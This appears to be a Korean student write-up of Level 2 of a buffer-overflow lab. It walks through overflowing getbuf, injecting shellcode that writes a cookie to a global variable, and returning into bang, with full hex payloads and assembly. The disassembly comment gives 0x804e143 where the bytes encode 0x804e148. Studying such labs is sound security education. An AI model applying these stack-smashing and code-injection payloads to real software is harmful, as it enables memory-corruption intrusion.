Level 2는 위 코드처럼 global_value
라는 변수를 나의 cookie 값과 같게 만들어야 하는 문제이다. 이를 위해서는 먼저 bang
을 실행시켜야 한다.
bang
의 주소를 보면 0x0804967b
에 위치해 있는 것을 알 수 있다. getbuf
함수를 리턴할 때 스택의 맨 위가 이 값을 저장하도록 입력을 넣어주자. 주소를 거꾸로 넣어주어야 하는 것은 little-endian이기 때문이다. 따라서 입력을 다음과 같이 넣어보자.
61 62 63 64 65 66 67 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7b 96 04 08
61 62 63 64 65 66 67 68
는 아스키 코드로 abcdefgh인데, 큰 의미는 없다. ret
가 실행될 때 스택의 맨 위, 즉 %esp
가 가리키는 곳에 bang
의 주소가 저장되도록 했다는 것만 알아두면 된다.
실행을 해보면 global_value
가 0x0
이라며 실패 메시지가 나올 것이다. bang
함수를 좀더 뜯어보자. 위 사진을 보면, <bang+36>
의 cmp
에서 %eax
와 %edx
를 비교하고 두개가 같아야 하는 것을 알 수 있다. 중단점을 찍고 레지스터 값을 보면 %edx
는 0인데 %eax
는 내 cookie 값이 저장되어 있다. 즉, 우리가 할 일은 %edx
의 값을 쿠키값으로 바꾸는 것이다.
코드를 보면 이런 부분이 있다. 참고로 __x86.get_pc_thunk.bx
는 현재의 PC를 가져와서 ebx
에 저장하는 역할을 한다. 따라서 %edx
에 저장되는 값은
0x8049686 + 0x4975 + 0x148 = 0x804e148
이다. 이제 0x804e148
에 저장된 값을 쿠키값으로 바꿔놓으면 끝이다. 짜야하는 코드를 요약해보면 다음과 같다.
getbuf
가 리턴될 때, 원래 함수로 돌아가지 않고 내가 인젝션한 코드로 가도록 스택 맨 위의 값을 바꿔놓기- (인젝션한 코드)
%eax
에0x804e148
를 저장(%eax)
에 내 쿠키값을 저장- return. 이때, %esp가 가리키는 곳에(스택의 맨 위에)
bang
의 주소인0x0804967b
가 저장되어 있도록 해줌
우선 1은 미뤄두고, 2~4의 역할을 하는 코드를 어셈블리로 짜보면 다음과 같다. (여기서 0xabcdef01이 내 쿠키라고 하자)
mov $0x804e148,%eax
movl $0xabcdef01,(%eax)
ret
gcc
를 이용해서 이를 기계어로 바꿔주면 다음과 같다.
test.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 48 e1 04 08 mov $0x804e143,%eax
5: c7 00 01 ef cd ab movl $0xabcdef01,(%eax)
b: c3 ret
이를 바탕으로 입력 문자열을 다음과 같이 구성해준다.
61 62 63 64 65 66 67 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 31 68 55 00 00 00 00 b8 48 e1 04 08 c7 00 01 ef cd ab c3
여기서 6c 31 68 55
는 명령어 b8 48 e1 04
의 주소이다. getbuf가 ret될 때 우리가 짠 코드를 실행하도록 해주었다.
이제 breakpoint를 찍고 실행을 해보자.
앞서 설명한 과정을 거치고 ret
가 실행될 때, esp
가 0x55683168
에 있는 것을 확인할 수 있다. 이제 저 위치에 bang
의 주소만 넣어주면 끝난다.
61 62 63 64 65 66 67 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 31 68 55 7b 96 04 08 b8 48 e1 04 08 c7 00 01 ef cd ab c3
문제가 잘 해결된 것을 확인할 수 있다.